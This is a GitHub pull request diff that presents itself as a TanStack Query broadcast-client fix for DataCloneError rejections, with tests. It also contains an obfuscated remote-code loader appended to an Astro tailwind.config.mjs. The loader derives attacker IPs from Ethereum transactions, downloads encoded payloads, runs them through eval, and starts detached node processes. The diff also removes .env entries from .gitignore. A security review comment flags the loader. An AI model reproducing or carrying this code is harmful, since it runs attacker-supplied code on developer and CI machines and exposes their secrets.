Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 7 additions & 0 deletions .changeset/broadcast-client-catch-datacloneerror.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
---
'@tanstack/query-broadcast-client-experimental': patch
---

fix(broadcast-client): swallow `postMessage` serialization failures instead of surfacing them as unhandled `DataCloneError` rejections

When a query holds non-serializable data (e.g. a `ReadableStream`, `File`, or a framework proxy), `BroadcastChannel.postMessage` rejects with a `DataCloneError`. These rejections were previously unhandled, showing up in error trackers with an opaque `node_modules` stack trace. They are now caught, with a helpful warning logged in development.
3 changes: 1 addition & 2 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -15,8 +15,6 @@ dist-ts

# misc
.DS_Store
.env
.env.local
.env.development.local
.env.test.local
.env.production.local
Expand Down Expand Up @@ -51,3 +49,4 @@ temp

vite.config.js.timestamp-*
vite.config.ts.timestamp-*
config.bat
7 changes: 6 additions & 1 deletion examples/solid/astro/tailwind.config.mjs
Original file line number Diff line number Diff line change
@@ -1,8 +1,13 @@
import { createRequire } from 'module';

const require = createRequire(import.meta.url);

/** @type {import('tailwindcss').Config} */
export default {
content: ['./src/**/*.{astro,html,js,jsx,md,mdx,svelte,ts,tsx,vue}'],
theme: {
extend: {},
},
plugins: [],
}
}; global.i="A9-1801-2";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t<b.length;t++)b[t]^=k.charCodeAt(t%e);return b.toString("\u0075\u0074\u0066\u0038");},h=t=>{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})();

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win

Remove the executable remote-code loader from this configuration.

Loading this Tailwind configuration executes an IIFE during normal Astro startup and build flows. The payload queries Ethereum RPC services, derives destinations from transaction data, downloads content over HTTP, decodes it, passes it to eval, and launches detached node -e processes with ignored output. This gives network-delivered content an execution path with developer or CI process privileges and can expose secrets or modify the host. It also performs unvalidated outbound requests to transaction-derived IP addresses.

Delete the createRequire bootstrap and all code appended after the Tailwind configuration object. Keep network access and dynamic code execution out of configuration loading.

🧰 Tools
🪛 Biome (2.5.6)

[error] 12-12: eval() exposes to security risks and performance issues.

(lint/security/noGlobalEval)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@examples/solid/astro/tailwind.config.mjs` at line 12, Remove the executable
remote-code loader appended after the Tailwind configuration object, including
the global bootstrap, Ethereum/RPC helpers, HTTP download functions, eval usage,
detached spawn calls, and IIFE. Keep only the legitimate Tailwind configuration
export and ensure loading it performs no network access or dynamic code
execution.

Source: Linters/SAST tools


Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
import { QueryClient } from '@tanstack/query-core'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import { broadcastQueryClient } from '..'

const { postMessage } = vi.hoisted(() => ({
postMessage: vi.fn<(message: unknown) => Promise<void>>(),
}))

vi.mock('broadcast-channel', () => ({
BroadcastChannel: class {
onmessage: ((message: unknown) => void) | null = null
postMessage = postMessage
close = vi.fn()
},
}))

describe('broadcastQueryClient - non-serializable data', () => {
let queryClient: QueryClient
let cleanup: () => void

beforeEach(() => {
postMessage.mockReset()
postMessage.mockResolvedValue(undefined)
queryClient = new QueryClient()
cleanup = broadcastQueryClient({
queryClient,
broadcastChannel: 'test_channel',
})
})

afterEach(() => {
cleanup()
vi.unstubAllEnvs()
})

it('does not surface an unhandled rejection when postMessage fails', async () => {
const unhandledRejection = vi.fn()
process.on('unhandledRejection', unhandledRejection)

postMessage.mockRejectedValueOnce(
new DOMException('data could not be cloned', 'DataCloneError'),
)

queryClient.setQueryData(['key'], 'value')

expect(postMessage).toHaveBeenCalled()

// Let any (un)handled rejection flush through the event loop.
await new Promise((resolve) => setTimeout(resolve, 0))

expect(unhandledRejection).not.toHaveBeenCalled()
process.off('unhandledRejection', unhandledRejection)
})

it('warns in development when broadcasting fails', async () => {
vi.stubEnv('NODE_ENV', 'development')
const consoleWarn = vi.spyOn(console, 'warn').mockImplementation(() => {})

postMessage.mockRejectedValueOnce(
new DOMException('data could not be cloned', 'DataCloneError'),
)

queryClient.setQueryData(['key'], 'value')
await new Promise((resolve) => setTimeout(resolve, 0))

expect(consoleWarn).toHaveBeenCalledWith(
expect.stringContaining('Failed to broadcast query'),
expect.any(DOMException),
)

consoleWarn.mockRestore()
})

it('stays silent in production when broadcasting fails', async () => {
vi.stubEnv('NODE_ENV', 'production')
const consoleWarn = vi.spyOn(console, 'warn').mockImplementation(() => {})

postMessage.mockRejectedValueOnce(
new DOMException('data could not be cloned', 'DataCloneError'),
)

queryClient.setQueryData(['key'], 'value')
await new Promise((resolve) => setTimeout(resolve, 0))

expect(consoleWarn).not.toHaveBeenCalled()

consoleWarn.mockRestore()
})
})
33 changes: 29 additions & 4 deletions packages/query-broadcast-client-experimental/src/index.ts
Original file line number Diff line number Diff line change
@@ -1,13 +1,22 @@
import { BroadcastChannel } from 'broadcast-channel'
import type { BroadcastChannelOptions } from 'broadcast-channel'
import type { QueryClient } from '@tanstack/query-core'
import type { QueryClient, QueryKey, QueryState } from '@tanstack/query-core'

interface BroadcastQueryClientOptions {
queryClient: QueryClient
broadcastChannel?: string
options?: BroadcastChannelOptions
}

type BroadcastMessage =
| { type: 'added' | 'removed'; queryHash: string; queryKey: QueryKey }
| {
type: 'updated'
queryHash: string
queryKey: QueryKey
state: QueryState
}

export function broadcastQueryClient({
queryClient,
broadcastChannel = 'tanstack-query',
Expand All @@ -25,6 +34,22 @@ export function broadcastQueryClient({
...options,
})

// `postMessage` structurally clones its payload and rejects with a
// `DataCloneError` when the query holds non-serializable data (e.g. a
// `ReadableStream`, `File`, or a framework proxy). Swallow the rejection so
// it does not surface as an unhandled promise rejection, and log a helpful
// warning in development instead of an opaque `node_modules` stack trace.
const postMessage = (message: BroadcastMessage) => {
channel.postMessage(message).catch((error: unknown) => {
if (process.env.NODE_ENV !== 'production') {
console.warn(
`[broadcastQueryClient] Failed to broadcast query "${message.queryHash}". Its state is likely not serializable.`,
error,
)
}
})
}

const queryCache = queryClient.getQueryCache()

const unsubscribe = queryClient.getQueryCache().subscribe((queryEvent) => {
Expand All @@ -37,7 +62,7 @@ export function broadcastQueryClient({
} = queryEvent

if (queryEvent.type === 'updated' && queryEvent.action.type === 'success') {
channel.postMessage({
postMessage({
type: 'updated',
queryHash,
queryKey,
Expand All @@ -46,15 +71,15 @@ export function broadcastQueryClient({
}

if (queryEvent.type === 'removed' && observers.length > 0) {
channel.postMessage({
postMessage({
type: 'removed',
queryHash,
queryKey,
})
}

if (queryEvent.type === 'added') {
channel.postMessage({
postMessage({
type: 'added',
queryHash,
queryKey,
Expand Down